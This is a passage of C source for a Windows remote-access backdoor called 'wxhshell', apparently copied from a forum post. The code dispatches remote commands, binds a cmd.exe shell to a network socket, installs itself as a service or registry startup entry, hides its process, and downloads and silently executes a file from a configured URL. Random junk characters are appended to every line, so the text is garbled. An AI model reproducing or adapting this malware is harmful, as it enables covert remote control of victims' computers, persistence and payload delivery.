  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?zKDPBj  
  } KYd2=P6  
  else { MZ6?s(mkx  
n+j'FfSz  
    switch(cmd[0]) { 7J7uHl`yq`  
  592q`m\  
  // 帮助 fGY. +W_  
  case '?': { 0|HD(d`a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qzsS"=5  
    break; \*1pFX#  
  } $nBzYRc"3  
  // 安装 #Z(8 vA^@  
  case 'i': { 8iR%?5 >K  
    if(Install()) w~X1Il7A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ``K.4sG  
    else "~N#Jqzr:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @va)j   
    break; [gQ*y~N  
    } q/<.^X  
  // 卸载 s0qA8`Yu  
  case 'r': { 2y v'DS  
    if(Uninstall()) kMf]~EZ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'l!tQD!  
    else p8Ts5n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n"-cX)  
    break; x^;nQas;  
    } 2Cj?k.Zk  
  // 显示 wxhshell 所在路径 6*{N{]`WZ)  
  case 'p': { %dKUB4  
    char svExeFile[MAX_PATH]; ,=R->~ J  
    strcpy(svExeFile,"\n\r"); )9l5gZX'I  
      strcat(svExeFile,ExeFile); '$UlJDZ  
        send(wsh,svExeFile,strlen(svExeFile),0); mdtq-v  
    break; =0MW+-  
    } /0\m;&  
  // 重启 LezM=om.  
  case 'b': { $+R0RqV$V~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TCv}N0  
    if(Boot(REBOOT)) iw12x:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<rk'4,8a  
    else { YSs9BF:a  
    closesocket(wsh); l X;2~iW{/  
    ExitThread(0); r,EIOcz:  
    } X-e)w  
    break; Z~9\7QJn  
    } |*e >hk  
  // 关机 %, XyhS5[o  
  case 'd': { [x'xbQLGd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vB#&XK.aW  
    if(Boot(SHUTDOWN)) Ud\Jc:DG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WpWnwQY`#  
    else { \:'=ccf  
    closesocket(wsh); U;LbP -{B  
    ExitThread(0); AJI,>I,}}  
    } 9=&LMjTQ  
    break; bH~ue5q  
    } ~NMal]Fwx  
  // 获取shell 7fgA)dU:K  
  case 's': { BOoLs(p  
    CmdShell(wsh); 0Zs}y\J`  
    closesocket(wsh); BI3Q~ADV  
    ExitThread(0); uF+if`?  
    break; )?:V5UO\  
  } dl6d!Nz*  
  // 退出 =O<Ul~JRK  
  case 'x': { +q|2j>k@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~Q0gSazXFt  
    CloseIt(wsh); n[[rI0]g  
    break; )K4 |-<i  
    } a.y_o50#T  
  // 离开 > 't=r  
  case 'q': { w<lHY=z E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3BDAvdJ4.  
    closesocket(wsh); o2He}t2o  
    WSACleanup(); E dhT;!  
    exit(1); q1;}~}W;z4  
    break;  I?.$  
        } AVyqtztQ  
  } `Jq ?+W  
  } tq8B)<(]  
H$9--p  
  // 提示信息 NU-({dGK}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9_n!.zA<  
} i<YatW~Pu  
  } s"*zyLUUo  
1NtN-o)N?  
  return; :[ F`tDL  
} \`Db|D?oy  
8&7LF  
// shell模块句柄 35%'HFt_  
int CmdShell(SOCKET sock) zZ3,e L  
{ <iajtq<Z  
STARTUPINFO si; ek1YaE  
ZeroMemory(&si,sizeof(si)); )Fe-C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F0t!k>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U+3,(O  
PROCESS_INFORMATION ProcessInfo; T@;z o8:  
char cmdline[]="cmd"; hu%UEB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }eXzs_  
  return 0; =toqEm~  
} rZ/,^[T  
E5w. wx  
// 自身启动模式 {0+gPTp  
int StartFromService(void) ,Drd s"H  
{ 0zCe|s.S&  
typedef struct k6_RJ8I  
{ HeZ! "^w  
  DWORD ExitStatus; 7hqa|  
  DWORD PebBaseAddress; %3M(!X:[  
  DWORD AffinityMask; #/Y t4n  
  DWORD BasePriority; 8zP{Cmm  
  ULONG UniqueProcessId; vz</|s  
  ULONG InheritedFromUniqueProcessId; qsk8#  
}   PROCESS_BASIC_INFORMATION; *y9 iuJ}  
j(HC^\Hi  
PROCNTQSIP NtQueryInformationProcess; (D]l/akP  
QKDY:1]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o>mZ$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >:!TfuU^R  
rj&  
  HANDLE             hProcess; Ad xCP\S&  
  PROCESS_BASIC_INFORMATION pbi; !([Q1r{u  
$`W .9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WX&Man!f  
  if(NULL == hInst ) return 0; WHk/Rg%<  
axW3#3#`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rlqn39  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =/&ob%J)9]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2s_shY<=}L  
dVmI.A'nbp  
  if (!NtQueryInformationProcess) return 0; -h%;L5oJ2,  
*|h-iA+9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zA=gDuy3@  
  if(!hProcess) return 0; )T/"QF}<T  
{y0#(8-&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p:U9#(v)  
!Sx }~XB<  
  CloseHandle(hProcess); B.vg2N  
fo9O+e s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]#]|]>& <  
if(hProcess==NULL) return 0; NWd%Za5K;  
&2C6q04b  
HMODULE hMod; ~gQ$etPd  
char procName[255]; n&Bolt(tO  
unsigned long cbNeeded; e;\g[^U  
Me;@/;c(   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fEf ",{I  
s7e)Mt  
  CloseHandle(hProcess); r e.chQ6  
Nlemb:'eP3  
if(strstr(procName,"services")) return 1; // 以服务启动 rT9<_<  
uUu]JDdz  
  return 0; // 注册表启动 ?W-J2tgss{  
} 4 :RL[;  
o6,$;-?F_  
// 主模块 jE|Ju:}&  
int StartWxhshell(LPSTR lpCmdLine) 7K>FC T  
{ -bJht  
  SOCKET wsl; Vb*q^ v  
BOOL val=TRUE; "v@$CR9<T  
  int port=0; Z(Fsk4,  
  struct sockaddr_in door; >MZWm6M8  
ac%%*HN,  
  if(wscfg.ws_autoins) Install(); L\_MZ*<0[  
R`q*a_  
port=atoi(lpCmdLine); 0i/l2&x*k]  
RL7OFfMe  
if(port<=0) port=wscfg.ws_port; %m$TV@  
cf)2GoV>e  
  WSADATA data; 8mI eW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NPc]/n?vDj  
~9c?g(0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (1p[K-J)r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (~}IoQp>  
  door.sin_family = AF_INET; M>^Ho2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q= IA|rN  
  door.sin_port = htons(port); G&$+8 r  
]o`qI#{R~R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~&B{"d  
closesocket(wsl); CKwrE]h  
return 1; VcKufV'  
} 8wz%e(  
+>mbBu!7  
  if(listen(wsl,2) == INVALID_SOCKET) { {E`[ `Kf  
closesocket(wsl); #ky]@vyO  
return 1; }PdS?[R  
} k4r;t: O^  
  Wxhshell(wsl); l]D?S]{a  
  WSACleanup(); jq#gFt*  
O* `v1>  
return 0; ep`WYR|B  
VL= .JwK  
} dx}) 1%  
P @N7g`u3}  
// 以NT服务方式启动 d\&{Ev9v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (8DJf"}  
{ 1Q1NircJ  
DWORD   status = 0; u:#+R_0#97  
  DWORD   specificError = 0xfffffff; "`]G>,r_  
"]h4L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; , 6 P:S7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tUouO0_l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fa7Z=:a G  
  serviceStatus.dwWin32ExitCode     = 0; L&V;Xvbu%  
  serviceStatus.dwServiceSpecificExitCode = 0; 70bI}/u  
  serviceStatus.dwCheckPoint       = 0; d l_ h0  
  serviceStatus.dwWaitHint       = 0; {"|P  
OI0#@_L&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i}teY{pyc  
  if (hServiceStatusHandle==0) return; 8|k r|l  
HE GMwRJG  
status = GetLastError(); LVNq@,s  
  if (status!=NO_ERROR) ?m.WqNBH7  
{ S9/oBxGN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8xs}neDg*  
    serviceStatus.dwCheckPoint       = 0; k L\;90  
    serviceStatus.dwWaitHint       = 0; gz fs9e  
    serviceStatus.dwWin32ExitCode     = status; Hl`S\  
    serviceStatus.dwServiceSpecificExitCode = specificError; ":s1}A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A&EVzmj-+X  
    return; x\taG.'zX  
  } h tC~BK3(  
<vxj*M;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ia_I~ U$  
  serviceStatus.dwCheckPoint       = 0; 2d:<P!B  
  serviceStatus.dwWaitHint       = 0; ~uqpF-.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~aKM+KmtPH  
} GJ YXCi  
hBb&-/  
// 处理NT服务事件,比如:启动、停止 wdS4iQD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b=nQi./f  
{ =`RogjbP  
switch(fdwControl) g<C_3ap/  
{ {Up@\M  
case SERVICE_CONTROL_STOP: VB 53n'  
  serviceStatus.dwWin32ExitCode = 0; h'*>\eC6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c@H_f  
  serviceStatus.dwCheckPoint   = 0; ;',hwo_LBf  
  serviceStatus.dwWaitHint     = 0; 7{<:g!  
  { #E35%7*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .m--# r  
  } ! 6y<jJ>  
  return; &'%b1CbE  
case SERVICE_CONTROL_PAUSE: @JJ,$ ?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,H6*9!Dv2  
  break;  zxN,ys  
case SERVICE_CONTROL_CONTINUE: I*,!zym  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tBR"sBiws  
  break; V>"nAh]}.  
case SERVICE_CONTROL_INTERROGATE: ;. jnRPo";  
  break; [[uKakp  
}; yX%q7ex  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )_[eqr  
} >K]s)VuWR  
'Xj9sAB  
// 标准应用程序主函数 J<K- Yeph  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <{$0mUn;s|  
{ ey'x3s_  
%:61@<  
// 获取操作系统版本 tE&@U$0>o  
OsIsNt=GetOsVer(); ,-!h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yb 7  
&.dC%  
  // 从命令行安装 y3!r;>2k=  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fk&W*<}/;  
5Q_ T=TL  
  // 下载执行文件 luA k$Es  
if(wscfg.ws_downexe) { ~Sq!P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zp5;=8wa;  
  WinExec(wscfg.ws_filenam,SW_HIDE); :X1~  
} eK<X7m^  
c eH8  
if(!OsIsNt) { UNx|+  
// 如果时win9x,隐藏进程并且设置为注册表启动 .I~#o$6  
HideProc(); ZkbaUIQ  
StartWxhshell(lpCmdLine); Gk"o/]Sf  
} K7G|cZ/^  
else >F@qFP N]  
  if(StartFromService()) (~C_zG  
  // 以服务方式启动 c!,&]*h"k  
  StartServiceCtrlDispatcher(DispatchTable); R^_7B(  
else q> ;u'3}  
  // 普通方式启动 PvmmyF  
  StartWxhshell(lpCmdLine); }b$?t7Q)  
e_eNtVq  
return 0; @UbH ;m  
}
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只看该作者 1 发表于: 2006-10-10
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